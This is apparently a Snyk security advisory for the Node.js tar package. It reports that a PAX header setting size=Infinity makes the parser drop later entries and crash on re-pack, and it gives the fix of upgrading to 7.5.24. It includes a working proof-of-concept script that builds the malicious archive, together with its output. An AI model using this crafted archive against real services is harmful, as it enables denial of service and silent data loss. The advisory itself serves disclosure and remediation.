Improper Validation of Specified Quantity in Input Affecting tar package, versions >=7.0.0 <7.5.24


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.89% (61st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-TAR-23314540
  • published2 Dec 2026
  • disclosed2 Dec 2026
  • creditDaniel Coles

Introduced: 2 Dec 2026

NewCVE-2026-140242  (opens in a new tab)
CWE-1284  (opens in a new tab)

How to fix?

Upgrade tar to version 7.5.24 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via parseKVLine in src/pax.ts, which fails to validate that a numeric size value supplied through a PAX extended header (typeflag x) is finite before applying it to the following archive entry. A PAX record such as 17 size=Infinity\n is coerced to the JavaScript number Infinity and accepted, because the only guard is a >= 0 check and Infinity >= 0 is true. The non-finite size propagates into the entry-body state machine, causing the parser to never transition out of the body-consumption state and silently drop all subsequent archive entries. When the archive is re-packed, the Infinity value reaches the numeric header encoder, which throws an uncaught synchronous exception that crashes the host process.

PoC

Runtime: Node.js >= 18. Package: tar (tested on the current published release).
Setup: build the library from source (npm install && npm run prepare) so the
compiled modules under dist/ are available, then run the script from the source root.

The crafted archive contains a PAX extended header that sets size=Infinity on the next file entry, followed by two ordinary file entries and the end-of-archive marker. The single PAX record 17 size=Infinity\n is exactly 17 bytes, matching its own length prefix, so it parses cleanly.

import { createRequire } from 'node:module';
import { resolve } from 'node:path';
const require = createRequire(resolve(process.cwd(), 'package.json'));
const { Header } = require('./dist/commonjs/header.js');
const { Parser } = require('./dist/commonjs/parse.js');
const { Pack } = require('./dist/commonjs/pack.js');

function block(fields, body = Buffer.alloc(0)) { const len = 512 * Math.ceil(1 + body.length / 512); const buf = Buffer.alloc(len); new Header(fields).encode(buf); body.copy(buf, 512); return buf; }

const pax = block( { path: 'PaxHeader/x', mode: 0o644, size: 17, type: 'ExtendedHeader', mtime: new Date(0) }, Buffer.from('17 size=Infinity\n')); const f1 = block({ path: 'a.txt', mode: 0o644, size: 5, type: 'File', mtime: new Date(0) }, Buffer.from('hello')); const f2 = block({ path: 'b.txt', mode: 0o644, size: 5, type: 'File', mtime: new Date(0) }, Buffer.from('world')); const archive = Buffer.concat([pax, f1, f2, Buffer.alloc(1024)]);

// Impact 1: entry loss let n = 0; const p1 = new Parser({ strict: false }); p1.on('entry', e => { n++; e.resume(); }); p1.on('end', () => console.log('entries emitted:', n, '(expected 2)')); p1.end(archive);

// Impact 2: uncaught synchronous throw when re-packing const p2 = new Parser({ strict: false }); const pack = new Pack({ cwd: '/tmp' }); pack.on('data', () => {}); pack.on('error', () => {}); p2.on('entry', e => { try { pack.add(e); } catch (err) { console.log('throw:', err.message); e.resume(); } }); p2.end(archive);

entries emitted: 1 (expected 2)
throw: cannot encode number outside of javascript safe integer range

Note: Node.js >= 18, with the tar package built from source so compiled modules under dist/ are available, run from the source root.

CVSS Base Scores

version 4.0
version 3.1